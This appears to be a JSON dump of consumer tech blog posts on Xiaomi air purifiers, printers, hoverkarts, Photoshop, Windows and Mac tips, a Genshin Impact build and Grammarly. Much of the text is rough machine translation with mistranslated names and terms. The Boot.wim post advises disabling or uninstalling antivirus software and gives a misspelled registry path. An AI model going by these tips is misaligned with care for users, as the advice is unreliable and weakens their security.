Mi Home app, you can not only view air quality data, but also control all functions and schedules. Connecting to a smart speaker requires you to activate the Mi Home skill in the Alexa or Google Home application. Once you're done, you can ask your smart speaker to turn the air filter on or off. You can also add schedules if desired.\n  Mi Air Purifier 3 is a great tool. Very minimalistic design and not too flashy is what many people want in their homes. The connectivity features are quite handy. While the Mi 3 is not as efficient as the more expensive models, it works well enough to provide a marked improvement in air quality.\n2. Xiaomi Mi Air Purifier Pro Air Purifier Pro is an air purifier introduced by Xiaomi in November 2017. Xiaomi Air Purifier Pro is equipped with an OLED display and laser sensor, enabled to display air quality and activity status over time. real time. Equipped with a new aerodynamic pressure system, Air Purifier Pro can cater for a wide area from 35m² to 60m² and this product only sells for less than 5,000,000 VND.\nAdvantages:\nHas an OLED screen and a laser sensor Simple and beautiful design Control via smartphone app Defect:\nThere is not much difference in performance, noise, wind speed and power consumption compared to other products Compared to previous models, Xiaomi Air Purifier Pro continues to use a pyramid design, with a white body and a black display.\nThe upper part of the machine is a fan grille, switches, light sensors and a power button to turn it on and off.\n  You can see the current PM2.5 value in the air, temperature, humidity, WiFi link status and operating mode of the machine via the front indicator light. In just a glance, you'll know all the information you need.\nAn additional plus is the OLED screen with user-friendly 3-color circle, the color of the indicator light will automatically switch based on the indoor PM2.5 level. The operation control button and filter cover are located on the back of the device, so the front looks fairly simple and nice. Equipped with a new temperature and humidity sensor, as well as a dust detection laser sensor, this product has a CADR value of 500m³ / h, which can meet the needs of a large room up to 35 - 60m². You can gently open the filter cover without too much effort.\n  The filter is made of Toray filter material, which can remove ultrafine particles, including air allergens (pollen, dust mites, pet flakes, mold, etc.) as well like bacteria and some viruses.\nThe diameter of the filter is 200mm, 293mm high. To ensure effective ventilation and purification, the filter should be cleaned regularly.\nVery detailed and thoughtful design. The locking part is at the bottom of the product (you can easily find it when you want to install or remove the filter).\nYou need to replace the filter every 3-6 months. Each time you turn on Xiaomi Mi Air Purifier Pro, the indicator will show the remaining life for the filter (in percentage).\n  Please note that before removing or installing the filter, remember to switch off the device. Replace the filter, turn on the device, then press and hold the switch indicator button, you will hear a beep to announce that the filter replacement has completed successfully. The filter life shown in the indicator will be reset. (The filter with the RFID label on the bottom does not need to be replaced by the replacement filter switch.)\nYou can remotely control Xiaomi Air Purifier Pro via smartphone application. This app can control multiple Mi devices at the same time, so if your home has other Mi products, you can also use this app to control them all.\nWith the Mi Home app, you can monitor the operational status of Mi Air Purifier Pro in real time, including indoor air condition, temperature and humidity, etc. This app is you can turn on / off or adjust the mode for the device whenever.\n  Compared to the first and second generation Xiaomi air purifiers, the Xiaomi Air Purifier Pro combines the advantages of these two generations and adds a new OLED display screen, as well as a laser sensor, which helps to equipment can serve a larger area. Controlling the device by smart control on mobile phone is very convenient. Especially for Mi fans, being able to control multiple devices with just one app is a great experience.\nNot much difference in performance, noise, wind speed and power consumption compared to other products on the market. Overall, this is still a good buy.\n3. Xiaomi Mi Air Purifier 2S The next candidate on today's list is the Xiaomi Mi Air 2S air purifier.\n  Advantages:\nOLED screen High-end smart features Value commensurate with the price Defect:\nH11 HEPA filter only Works quite noisy at the highest speed Perhaps you've heard of this Xiaomi Mi 2S product somewhere and some people even confuse this air purifier with the Mi Mix 2S smartphone. Xiaomi has added an attractive tool to its air purifier portfolio.\nThis air purifier complies with the company's strategy: Cheap equipment with advanced features. On the official website, Xiaomi Mi 2S is currently priced at $ 129 (2,981,000 VND). This is definitely the best budget air purifier, packed with a lot of smart features that you can only see on devices for twice the price.\nXiaomi Mi Air 2S comes with a range of premium features, working with Alexa and Google Assistant. The design concept of Xiaomi Mi 2S is not new, but the Chinese company's third-generation air purifier has proven its effectiveness.\nOne thing that is really enhanced by the design is the 360 ​​° air intake feature, which can be found on all four sides of this air purifier. It provides maximum air inlet for better air cleaning, as well as improving the overall concept of bottom-up airflow system of Xiaomi Mi 2S.\n  In short, this air purifier is very sturdy and feels good to use. Xiaomi Mi 2S is medium sized with a height of 52cm and a width of 24cm.\nThe main special factor in the design is the OLED screen on the front of the device. Xiaomi Mi Air Purifier 2S weighs only 4.5kg and you can lift it up anywhere easily.\nWith Xiaomi Mi Air Purifier 2S, you will have an all-in-one air purifier, consisting of 3 different stages.\n1. Coarse filter - Main filter for handling large particles and things like large dust, plant fibers, pollen.\n2. EPA Filter - It is quite similar to the popular HEPA filter that we often know. The EPA filter is classified as H11, which can filter over 95% of particles, including particles of 0.3 micron size, such as fine dust, pet dander and other PM2.5 particles.\n3. Activated carbon filter - Filter out formaldehyde, odors and toxic gases.\n  Xiaomi Mi 2S uses a three-layer air filter, starting with the primary filter. Made of polyethylene terephthalate, the outer layer can protect the main EPA filter from grease, acids, alkalis and most solvents. It also handles large-sized contaminants, so your air filter can last longer.\nAt the core of this air filtration system is Toray Industries 'EPA-grade H11 filter, a corporation with nearly 100 years' experience in manufacturing yarns, including high-quality air filters. This air purifier can filter out at least 95% of any particles as small as 0.3 microns.\nXiaomi recommends changing the air filter after 3 to 6 months, depending on the frequency of use. The filter replacement process is fairly simple and also quite affordable.\nXiaomi Mi 2S is recommended for use in a 400ft2 room (this is great for an air purifier in this price range).\nACH of Xiaomi Mi 2S is 2X to 4X. With this air change every hour, the air purifier can clean your room every 15 minutes.\nThe CADR of Xiaomi Mi 2S is generally 180cfm. For the segment below $ 150, such fan power is really impressive and can be much better than many other air purifier brands.\nXiaomi said that the noise from the lowest setting of Xiaomi Mi 2S is almost imperceptible. However, a budget air purifier with such a fan capacity cannot keep the noise level as well as other appliances designed specifically for the bedroom.\nAt the lowest speed, the noise level is 41 decibels (db). Users are encouraged to run this air purifier to a low level to keep as quiet as possible.\nWhen turned on the device at the highest speed, the noise level of Xiaomi Mi 2S can reach 70 decibels. 70 decibels for an air purifier with a CADR rating of less than 200 cfm is unacceptable.\nOne of the most frequently asked questions is whether air purifiers use a lot of energy? In fact, air purifiers must be used for a long time to be effective. And power consumption is an important criterion to consider whether an air purifier is good or not.\nEquipped with Nidec engine from Japan, Xiaomi Mi 2S is really an energy-saving device, with a rated output of only 4.8 watts at the lowest level. The highest power consumption of this device is only 29 watts and you can enjoy using the air purifier 24/7 easily.\nIf you run Xiaomi Mi 2S for at least 8 hours a day, you only pay from 50,000 to over 200,000 VND / year.\nAs mentioned, the Xiaomi Mi Air Purifier 2S stands out with premium extras for a budget device. Through the OLED display, Xiaomi gives you everything you need to know about indoor air quality, from current air quality index, temperature and even humidity.\nXiaomi Mi 2S employs a high-precision laser sensor to detect any particles as small as 0.3 microns and gives you feedback on the OLED screen. Moreover, the Auto Mode can be turned on to adjust the fan automatically to suit the environment you need. However, there are many negative reviews about Auto Mode not working properly and Xiaomi Mi Air Purifier 2S automatically switches to Auto Mode.\nThis air purifier also has a sensor to check the ambient light and adjust the brightness of the screen based on the room's current light. Xiaomi calls it Sleep Mode and Xiaomi Mi 2S can keep the settings at the lowest speed, so that your sleep is not disturbed.\nLike every other Xiaomi device, the Xiaomi Mi Air Purifier 2S is a smart device and it can be controlled via Amazon Alexa or Google Assistant. The product can be connected to a smartphone app - the Mi Home app, so you can check any information on the air quality index, change the fan speed and set a timer. to arrange vacation time. It also notifies you when you need to change filters.\n  Xiaomi Mi 2S air purifier will surprise you with premium extras you can only find from air purifiers for twice the price. However, the performance rating of this product is not really impressive, due to the low-level EPA air filter inside. If you have severe allergies or asthma, you should think twice before buying this Xiaomi air purifier.\nWish you choose for yourself a product like that!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxksaGRpLqqecCiqWaopae2p7XEq6o%3D\n","link":"/post/top-3-xiaomi-air-purifiers/","section":"post","tags":null,"title":"Top 3 Xiaomi air purifiers"},{"body":"When you choose to buy a printer, understanding the specifications and its features is essential to be able to use all the features of the printer. In all specifications, the resolution of the printer also plays an important role, affecting later printing when we use. So what is the print resolution and how does it affect the quality of the print?\n1. What is the resolution and print quality? The resolution of the printer is measured in DPI (dots per inch) is the number of toner particles coated on one square inch, the score that the printer can print in a square inch. The higher the resolution of the printer, the greater the density of ink particles per inch of paper, the sharper the image and text will be.\nCurrently, the printer has a lot of resolution different prints. The most common resolution is abc x xyz such as 200 x 600 DPI, 2400 x 600 DPI, . where abc represents horizontal resolution and xyz represents vertical resolution. Depending on the other manufacturer, the paper shift mechanism will affect the number of dots horizontally and vertically, so many printers have abc x abc resolution such as 600 x 600 dpi.\n  If you need to print black and white paper, 600 x 600 dpi resolution is enough to use to get sharp prints for small businesses, or business households. To print magazine, photo and color documents, choose a higher resolution of 1200 x 600 dpi or higher. Thus, the image is sharper and more true.\n2. The importance of resolution As mentioned above, the greater the resolution, the better the quality of the print, and this also affects the price of each type of printer. There are models of printers up to 1000 resolution to get the most true color prints.\nIn addition to the resolution, to get a satisfactory printout also depends on a number of other factors such as color, print speed, technology used in the printer.\nWith color, there are usually 4 cartridges for a regular printer. And the more advanced printer will be 7 levels, so more ink for 1 dpi will bring pictures and text on print more vivid. The problem of printing paper also makes the print more beautiful, if using thin paper, it is likely that the print is faded.\n  Printer speed is calculated by the number of pages per minute (ppm - page per minute). A typical printer has a print speed of about 15 -20 ppm. Expensive printers have faster print speeds.\nIn addition, if the printer uses water level technology, the quality will not be equal to that of the laser printer.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuvsSspqWtpJ68r3nAp5tmqKKeu7V50K6YpaGkrg%3D%3D\n","link":"/post/what-is-the-resolution-and-print-quality/","section":"post","tags":null,"title":"What is the resolution and print quality?"},{"body":"Hoverkarts attach to hoverboards to turn them into a go-kart with a seat and three or four wheels. This enables you to use your hoverboard in a whole new way which can be even more fun than just standing on it. Hoverkarts are relatively new pieces of technology so not many people know how to decide between the different options.\nTo help you make the best decision, here is our hoverkart buying guide for choosing the perfect model for you.\n  1. Make Sure the Hoverkart is Safe One of the main benefits of converting your hoverboard into a hoverkart is that they are very safe. With a hoverkraft, you are sat down rather than standing as you would do on the board. Make sure that all the attachments are secure and that the handles work perfectly when you first purchase the hoverkart. If there is an issue, you should return it and exchange it for a different one.\nBefore making a purchase, check online reviews to make sure that no one has had any issues with your chosen kart. Tire size makes a big difference when it comes to safety and stability of the hoverkart and you should choose a kart with at least seven to nine inch tires.\n2. Choose a Highly Adjustable Kart Hoverkarts are excellent because they will usually fit every standard sized hoverboard. The hoverboard forms the back wheels of the kart and then there is a further front wheel or pair of wheels which make up the kart. When choosing\u0026nbsp; hoverkart, make sure that you can adjust it for different sized people. The best hoverkarts have adjustable frame lengths, handlebars, and seats and you can visit online Smart Balance Shops to see some options.\nThere are some hoverkarts which are designed especially for larger users which may be better for adults and older teenagers. Try and test ride the kart in the store to make sure that you can fit comfortably or that you can adjust it easily.\n3. Make sure the Kart is Easy to Set Up Most hoverkarts come with clear instructions which show you exactly how to connect it to your hoverboard. They are usually very easy to attach using straps which will keep everything safe and secure. If your hoverkart doesn't come with instructions then you may be able to download them from the Internet. When choosing between different models, look for a hoverkart which can be connected and disconnected quickly and easily so that you can switch effortlessly between your kart and board.\n4. Choose a Hoverkart which is Easy to Control Most hoverkarts work by pushing and pulling two handles which work in the same way as leaning forwards and backwards on a hoverboard. The two handles are attached to the two halves of your kart and enable you to control direction and speed. When you are looking for a hoverkart, make sure that you choose one which rotates in every direction.\nThe best karts for this are ones which have 360 degree wheel drifts. This will give you unrestricted control of your hoverkart so that it is ultra maneuverable. For further control, make sure that you choose a hoverkart attachment which has rear wheel drive. There are now some hoverkarts which have two front wheels and a steering wheel and this could be a good option for extra stability and control.\n5. Check if Your Hoverkart is Compatible with an App Hoverboards and hoverkarts are incredible technology and to upgrade that technology further, there are apps which you can connect to your vehicle. The apps allow you to adjust all kinds of settings on your vehicle to change its performance. The most advanced have multiple modes which provide different experiences for the rider so that the hoverkart can be optimized depending on terrain or road surfaces.\nThe app will also enable you to check the battery level on your hoverboard and to see how fast you are going. Some hoverboards and karts can reach 15mph so if you enjoy a bit of speed then make sure you check the capabilities of your board.\n  Hoverkarts are so much fun and are a great way to have a different riding experience with your hoverboard. Buying the right kart attachment can be difficult as there are so many things to consider. Keep these factors in mind when choosing your hoverkart and you will be able to buy the perfect one for your needs.\nncG1vNJzZmismaXArq3KnmWcp51ktbDCxKuimqqkYq%2B2xcinnmafpZ6xpnnAZp2er12ptaq6xqxkraddmLyvv8idnKtllqS%2Fbq%2FHqKasoZ6cerW0xGannqqWmrC1ec6nnA%3D%3D\n","link":"/post/a-few-things-to-consider-for-choosing-the-perfect-one/","section":"post","tags":null,"title":"A Few Things To Consider For Choosing The Perfect One"},{"body":"Previously the technology world and Microsoft itself have repeatedly talked about the company will have new strategies with virtual assistant Cortana. One of them is to gradually bring Cortana to serve business users and require high performance instead of individual users.\n Just a few days ago it was reported that Cortana will soon lose some features this summer. And according to the latest revelations, Microsoft may even rename its virtual assistant Cortana as the most obvious move of change.\nSpecifically, the virtual assistant Cortana is said to have a new name as Microsoft 365 Assistant. This name change certainly makes sense if Microsoft wants to focus on the business audience.\nOf course, Microsoft has not confirmed these changes, but in the long term it will not be surprising if Microsoft decides to remove the name Cortana.\nBecause Microsoft also explained that Cortana is now part of the Microsoft 365 service pack targeted at its business audience.\nMicrosoft says: \"The AI ​​in Microsoft 365 is significantly driving the way people interact with Microsoft 365 applications. Our experience is personalization and user-friendliness, support and skill enhancement. You can see this change in the personalized experiences we've shared on Cortana. \"\nHighly likely after redirecting the target to the business object, Cortana will no longer have music control and smart home connectivity. Because Microsoft is giving up a range of features aimed at individual consumers. In addition, Cortana will no longer support on Microsoft Launcher for Android.\nRefer to Softpedia ncG1vNJzZmismaXArq3KnmWcp51ksKK6jKagnKqfqLynwIyrnKeZnZp6qsDSZq2iqqSqrq15wKyqoquklru1ecKoqa2ZnpZ6orrDZquaqpeawW6v1KyrqKWVp3q0wc%2Bppqus\n","link":"/post/can-microsoft-rename-its-virtual-assistant-cortana-and-target-customer-support/","section":"post","tags":null,"title":"Can Microsoft rename its virtual assistant Cortana and target customer support?"},{"body":"Gradients in Photoshop are gradients that change color from one color to another based on the principle of mixing single-color bands according to rules. In Photoshop, there are 5 gradient effects including Linear, Radial, Angular, Reflected, Diamond. By default, the number of available color blends in Photoshop is relatively small and it is common that the rainbow color is made up of 7 primary colors. So if you want to change the colors of images, or create text with many new color schemes, it is relatively limited. If so, download the new Gradient color sets in the article below to use in Photoshop, with lots of brand new blend colors.\nInstructions for installing a new gradient set in Photoshop Step 1:\nWe download the new gradient set for Photoshop according to the link below and extract it. The gradient color will be in grd format so users should pay attention to finding files uploaded to Photoshop.\nDownload a gradient set for Photoshop Step 2:\nAfter you've downloaded we open Photoshop and then click Edit\u0026gt; Preset\u0026gt; Preset Manager as shown below.\n  Step 3:\nSwitch to the new interface at Preset Type, click the dropdown arrow and select Gradients from the displayed list. Click Load on the right of the interface to upload the gradient set to Photoshop.\n  Now show the folder interface on your computer so that you can find the saved gradient color set in step 1. Click on the grd file and click Load below to download it.\n  The resulting Gradient palette has been added in a variety of colors as shown below.\n  That way you can freely choose a new color range for the image or whatever content you are editing and designing in Photoshop.\n  ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdqbWmec2ermafopaxqrHNrWSpmZyawbWxjJ%2Bmq2Wgnby1u9Khpqk%3D\n","link":"/post/download-the-new-gradient-palette-for-photoshop/","section":"post","tags":null,"title":"Download the new Gradient palette for Photoshop"},{"body":"Applies to : Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012.\nThe exit command exits the Cmd.exe program (command interpreter) or the current batch script. To learn how to use this command, please see the example below.\nThe exit command is an internal command and is available in all versions of MS-DOS below Microsoft:\nWindows 95 Windows 98 Windows ME Windows NT Windows 2000 Windows XP Windows Vista Windows 7 Windows 8 Windows 10 Syntax of exit command exit [/b] []  Parameters The Description / b parameter exits the current batch script instead of exiting Cmd.exe. If done from outside a batch script, it will exit Cmd.exe. exitCode Specifies a number. If the / b parameter is specified, the environment variable ERRORLEVEL is set to that number. If you are exiting Cmd.exe, then the process exit code will be set to that number. /? Show help at the command prompt. For example To close the Cmd.exe command interpreter, enter:\nexit  When in another command interpreter, exit will exit the new command interpreter and return to the original command interpreter. When you import DOS from Windows, the exit command will return you to Windows. If in the restore panel, the exit command will exit the restore panel and restart the computer. See more:\nOrder bitsadmin getnotifycmdline, getnotifyflags, getnotifyinterface Bitsadmin getmodificationtime and bitsadmin getnoprogresstimeout command Bitsadmin getfilestransferred and bitsadmin commands getminretrydelay ncG1vNJzZmismaXArq3KnmWcp51ksrm102aaqKWdlrulecinZLChnpm8uL8%3D\n","link":"/post/exit-command-in-windows/","section":"post","tags":null,"title":"Exit command in Windows"},{"body":" So you want your Mac to read something to you? Read more to find out how. Open System Preferences.\nMethod 1of 3:\nSetting The Voice  Open System Preferences.\n  Click on Speech.\n  Click on the text to speech tab.\n  Click on system voice.\n  Click on More Voices.\n  Click on the voice that you would like to try out.\n  Click on the play button. Make sure that the volume is high.\n  Select the Voice that you like \n Method 2of 3:\nThe Shortcut Way  Open System Preferences/Speech/Text to Speech.\n  Check Speak Selected Text When Key is Pressed. A box will appear.   Press the key-combination that you would like to use.\n  Select the text you would like to have read.\n  Press the key-combination that you have set.\n Method 3of 3:\nThe Right-Click Way  Select the text that you would like to have read.\n  Right Click on it and click on the sub-menu called Speech.\n  Click on Start Speaking.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZK2dqKl6tbuMrKeenZOdeqq6jKaYnGWfqHq5\n","link":"/post/how-to-activate-text-to-speech-in-mac-os-x/","section":"post","tags":null,"title":"How to Activate Text to Speech in Mac OS X"},{"body":"Background blurring tricks can make the image look much more professional or just focus on the elements of the image you want to attract attention. Whatever the reason, learning how to blur the background in Photoshop is a great way to make your photo stand out from the crowd.\nNote : The following tutorial focuses on Adobe Photoshop CC version 20.0.4. But the methods will also work with older versions of Photoshop, in the same way.\nBlur the background in Photoshop with the following tools What tool to use to blur the background? Magic Wand Lasso Quick Mask  How to blur in Photoshop Gaussian Blur Motion Blur Lens Blur Radial Blur  What tool to use to blur the background? Background blur is the most interesting part of the process, but you need the right tools. Here are a few different ways you can do that.\nMagic Wand Magic Wand (fourth from the top in the Tools menu) is the fastest and easiest tool to select the background, although it also has certain disadvantages. Magic Wand works best on images with a clear background, much in contrast to the foreground part. After selecting Magic Wand, click on the background of the image to select it. You can hold down the Shift key to continue selecting additional elements as needed.\nIf you do not see the Tools menu , select Window\u0026gt; Tools in the top menu.\nLasso If the background in your image is too complicated for Magic Wand, the Lasso tool will give you more control.\n  Standard lasso allows you to freely draw your selection. Polygonal Lasso allows you to draw straight lines. Magnetic Lasso will try to cling to the edges of a part of the image, in this case the background. Click and hold the Lasso tool (third from the top in the Tools menu) to select the tool you want to use.\nBe sure to draw around whatever you want to choose. You can always \"close\" the selection by pressing Ctrl or CMD , then clicking or clicking anywhere on the image.\nQuick Mask A more realistic method to select the background is to use the second tool from the bottom of the Tools bar and look like the gray EU flag.\n1. Select the Quick Mask tool .\n2. Select the Brush tool from the Tools menu , then use the brush strokes carefully to paint over everything you want to select. The elements you choose will turn red.\n3. When done, select the Quick Mask icon again to see your complete selection.\nTip : You can also use the Erase tool to fine-tune the selection.\nWhichever method you use, once you have selected the background, be careful not to click or click anywhere in the main window, as you can invalidate the selection. If you do so, press Ctrl (or CMD ) + Z to undo your action or press Ctrl (or CMD ) + Alt + Z to undo some steps.\nTip : If you find that you have actually chosen the foreground instead of the background, simply press Ctrl (or CMD ) + Shift + I to reverse the selection.\nHow to blur in Photoshop Now you have selected the background. You can start the process of blurring it. There are a few different ways you can do to achieve different effects. Try the aforementioned tools and see the results.\nGaussian Blur Gaussian Blur is the most basic option in all blur effects, but is often the most effective. Gaussian Blur merges and overlaps all pixels together to create a general blur effect.\n1. Select Gaussian Blur, then use the slider to decide how much blur you want for the background.\n2. You can use the preview window to view part of your image or select the Preview box to see how it looks on the entire image.\n  3. When you are satisfied with the result, select OK and wait for the effect to apply.\nMotion Blur This effect gives the impression of movement, as if the background is moving at high speed or the photographer is moving through it very quickly.\n1. Select Motion Blur.\n2. Use Distance Modifier to change the level of blur effect you desire.\nYou can also change the angle of the motion by entering a number in the corresponding box or clicking and dragging a small rectangle.\nLens Blur To subtly blur, closer to what is achieved by using a shallow depth of field technique when taking a photo, use Lens Blur. It has a multitude of options for testing, including:\nRadius: Affects the strength of the blur effect. Shape and Blade Curvature: Adjusting the virtual lens will shape the blur effect. Specular highlights: Used to increase the brightness of some parts of the image to mimic the exposure effect longer than when the original image was taken. Test the settings until you find the effect you like, then select OK.\nRadial Blur For a unique look, try applying Radial Blur. Radial Blur does not bring a natural look to the image, but actually makes your foreground object appear as if they have just stepped through a certain gate.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcqr9uwMeeZJuZk6C0s7vUp5tmoZ5ivam706iqoaeg\n","link":"/post/how-to-blur-the-background-in-photoshop/","section":"post","tags":null,"title":"How to blur the background in Photoshop"},{"body":"Fischl - The Princess of Sin is one of the most popular and easy to find archers in early Genshin Impact with his skill set Fischl is a versatile option that can coordinate well with a variety of compositions.\nUsually gamers often build Fischl in the direction of support to take Lightning elemental damage in coordination with Fire-type dps to form an Overreaction, but actually, outside of support, Fischl can be one of the The strongest main damage with the ability to deal tons of instant damage.\nLet's take a look at how to build Fischl in this main damage direction.\nFischl's top priorities Fischl is one of the most popular archers today in Genshin Impact with a very special skill set with the elemental skill Night Bird (E) which summons the black crow, Oz and continuously strikes. elemental damage to enemies' heads and his rage ability Shadow Illusion (Q) allow Fischl to move quickly in Oz form and deal Lightning damage to enemies along the way.\nHowever, the rage skill only deals damage once, so it is usually only used for Fischl to extend range as well as choose the right position to deal long-range damage.\n  Therefore, if you want to build Fischl in the direction of support, gamers need to maximize skill (E) to deal elemental damage to the main Fire-type damage such as Diluc, Klee then stuffs the skill. And if you want this haughty princess to become the main damage player, you should prioritize to maximize Normal Attack to maximize physical damage.\n  In addition, gamers need to prepare early from Little Dang Thao (collected in Mondstadt), Arrows (From Archer Hilichurls), Tu Tinh and Lightning Prism (Original Lightning) to break through the character. As for Thien Phu (Talent), the Lecture, Instructions, Philosophy of 'Poetry' are the most important materials to enhance the strength of the Sinful Princess.\nEquipment and Sacred Relic Fischl's main weapon is a bow, but depending on the will and dignity of the gacha, gamers can use the Bow of Lightning with ample damage if he wants Fischl to be the main damage or the Tay Phong Bow with the ability to recharge. Quick element makes Fischl easy to use fast elemental skills and rage. Thereby, the Palace of Lightning will need a large amount of Light / Lava / Ice Pillars of the Frozen Forest and Tay Phong Palace will need Chains / Iron Ropes / Lion's Fangs to break through weapons.\nLightning Bow is the best and easiest option to find in a 4 star bow set In addition, the Holy Relic is also one of the difficult problems that gamers have to consider when playing Fischl and most gamers choose the Holy relic of War to start.\nThen, if you want Fischl in the direction of support, the Rite of the Ancient Seven and the Like Thunder Wrath are the two most popular options, but if the gamer needs a powerful vegetarian archer, equip her. a set of Blood-stained Martyrs of the Closing Ceremony of Enlightenment Ceremony or Knight.\nBesides, if you want to go in the direction of Hybird, you can combine 2 items of Giac Du Sy and 2 items like Thunder Wrath or 2 Giac Gladiators 2, Relic 5 stars more than Cuong Chien (4 stars).\nIn addition, if the damage and crit ratio can be balanced, the Fischl Relic Fischl's critical damage will be a real nightmare with damage not inferior to Keqing (5 stars) Venti ( 5 stars)\nFischl's ability to overcome and coordinate the squad Basically when fully equipped with weapons, Holy Relic and has a destiny 4 onwards, Fischl can completely be a safe choice to clean up the secret when it can both cause physical damage and Lightning , both able to recover through the Wrath skill (the bow of the face of 4 each time Fischl uses Fury after the end heals her by 20%).\nTherefore the best formation to coordinate with Fischl must have 2 Fire elements to activate a 25% increase in attack power, Moi recommends the following prime formations and gamers can flexibly change depending on dignity turned Gacha.\nLineup Thuy Hoa Loi:\n  With this formation, the main damage factor is still Fischl, but with good support from Bennett combined with Fire main damage Diluc or Klee and recovery of Barbara or Qiqi, this will be a comprehensive lineup. and best optimized for Fischl's raven-drop combo.\nAt the same time, gamers can flexibly replace other Fire elements more easily such as Amber, Xiangling if the conditions for Gacha to not allow.\nLineup Phong Hoa Loi:\nFate is also an important factor for Fischl to reach the threshold of strength no less than 5-star seniors Similar to the Thuy Hoa Lei formation, the Phong Hoa Loi formation is more inclined to attack wide and elemental skills more when diffusing the Overload effect (Lightning + Fire) combined with recovery from Jean or Venti. However, this is also a team that requires more dignity when Jean and Venti are both difficult 5-star heroes at the moment.\nLineup Lightning Fire:\n  Basically, this is a comprehensive optimal damage and elemental lineup with 2 buffs from 2 Fire and 2 Lightning, and gamers can easily coordinate 2 Fire like the Water Fire or Thunderstorm formation. But since there are quite a few heroes that can be used in the position of Lightning support right now, if you play this formation Fischl should be in the support position.\nAlso, despite optimizing buffs and bonus damage thanks to elemental reactions, the 2 Fire 2 Lightning lineup is quite poor in recovery, so this is almost an all in gamble and only gamers. Full confidence in his new skill can play this squad.\nEpilogue Fischl can fully assume the position of main damage and is the perfect choice to bully Dragons, Wolves every week. However, in order to optimize this girl's power and replace the other 5-star main damage, gamers need to raise their destiny, and Fischl's Holy Relics is also extremely difficult to build without. Early preparation combined with the luck of upgrading the 5-star Sacred Relics.\nTherefore, gamers need to carefully consider the situation as well as resources before deciding to choose the Princess of Sin to follow in the upcoming 1.1 version.\nGenshin Impact How to play Genshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlnrmlecWiqpygnGK9s7XNnJysq12ks26%2FyKdkoqZdnLKvv8eipWahnaWupMA%3D\n","link":"/post/how-to-build-fischl-princess-of-sin-in-genshin-impact/","section":"post","tags":null,"title":"How to build Fischl - Princess of Sin in Genshin Impact"},{"body":"The error of losing the Boot.wim file on your computer will cause a series of problems, if it's mild, you'll get an error that won't update or worse, the machine will restart suddenly.\n1. The cause of the error of losing the Boot.wim file The error of losing the Boot.wim file comes from many different reasons, maybe they are caused by a virus that destroys files on the computer or is lost for some reason. When Boot.wim file errors appear, they will come with the error code 'Error Code: 0x80070002' and ask you to click OK to confirm. In this case, we will not be able to manipulate many features on the Windows operating system.\nFor the problem that Windows cannot find the Boot.wim file, we can check it again by resetting the path for the file. In addition, there are also some conflicting software, the compatibility features are not good and lead to the loss of the Boot.wim file. In this article, Tipsmake will show you how to fix the error of losing the Boot.wim file when using Windows.\n2. How to fix Boot.wim errors on Windows computers To fix Boot.wim errors on the computer, we will have two main ways that are to interfere with the anti-virus software and edit the computer's Registry Editor file.\nTurn off anti-virus software Anti-virus software often mistakenly recognizes files and they automatically block according to pre-programmed. In case you have installed many different anti-virus software, please stop activating them temporarily to check if the Boot.wim error still appears or not. Just to be sure, you can also uninstall the anti-virus software on your computer and restart it so that the blocked files are unblocked. If removing the anti-virus software helps you get rid of the Boot.wim error, it means that your computer is in conflict with the anti-virus software, you can install another company's anti-virus to avoid the error.\nFix errors with Registry Editor In case of a serious error, you can completely intervene in the Registry Editor to handle the error. Here's how to handle Boot.wim file errors using the Registry.\nStep 1: Open the Start Menu and enter Registry Editor to open it.\n  Step 2: Then, copy the following link address and press Ctrl + V to paste it in the link bar.\nKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/WindowsUpdate   Step 3: Next, Right-click on WindowsUpdate and select New =\u0026gt; Key.\n  Step 4: When creating a new Key, name it AllowOSUpgrade.\n  Step 5: Now, open the Key AllowOSUpgrade folder and right-click and select New =\u0026gt; DWORD (32-bit) Value.\n  Step 6: Name the newly created DWORD AllowOSUpgrade.\n  Step 7: Finally, you just need to open the DWORD AllowOSUpgrade key and enter Value data to 1. When done, click OK and restart the computer to check.\n  In this article, Tipsmake has shown you how to fix the error of losing the Boot.Wim file on Windows computers. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tc2dprCrXaG8tLXNoGSbp5%2BpxKq5jJ%2BgpZ0%3D\n","link":"/post/how-to-fix-windows-losing-boot-wim-file/","section":"post","tags":null,"title":"How to fix Windows losing Boot.wim file"},{"body":"When you learn a second language and practice writing, it is necessary to have an effective testing tool. For those who use Word editing tools, they know the built-in grammar and spelling checker. However, the check feature available on Word will sometimes not work as expected and we will need another tool.\nGrammarly is an English test tool for Microsoft Office, especially Word when we edit English content. This program will help you check your spelling, English grammar, or punctuation location or sentence structure errors are also discovered. So how to use Grammarly to check English spelling? Please follow the tutorial on how to use Grammarly below of Network Administrator.\n1. How to install Grammarly to check English on Word: First of all, you can access the link below to install the Grammarly tool:\nhttps://www.grammarly.com/office-addin/windows Step 1: At the main interface we click the Free Download button to download Grammarly.\n  Step 2: Next, the tool will require users to register for a free account . We enter the name, email address and password then click Sign Up to create an account using Grammarly.\n  Step 3: You wait for the download tool to go to your computer, then click on the Setup .exe Grammarly file in the folder on your computer.\n  Click Get Started to use Grammarly.\n  Step 4: After that, we will ask if you want to use Grammarly for Word and Outlook, if you do not want to use it for any program, uncheck it and click Install .\n  Finally, you wait for the Grammarly installation process on the computer.\n  Step 5: In order to be able to use Grammarly, users will need to log in to the registered account Grammarly . Click Log in .\n  When the installation process is completed, the interface will appear as shown below. Click Finish to complete.\n  2. How to use Grammarly to check on Word: After you've finished installing the tool, start Word on your computer. If the user has started Word before installing Grammarly, it will need to be restarted.\nStep 1: In the Word interface, when we click on the Home tab on the Ribbon, we will see the Grammarly item at the end. Besides, users will also receive notifications when using Grammarly on Word, press Got it !.\n  \nStep 2: When clicking Enable Grammarly to use Grammarly, and clicking on Grammarly will see five main test sections appear when we enter content, including Contextual Spelling, Grammar, Punctuation , Sentence structure and Style.\n  Step 3: Now try typing English sentences to check Grammarly's performance. For example, the wrong sentence below. Grammarly will conduct a sentence check to detect errors. When there is an error, the wrong word will be underlined at the same time, the redundant number will also appear 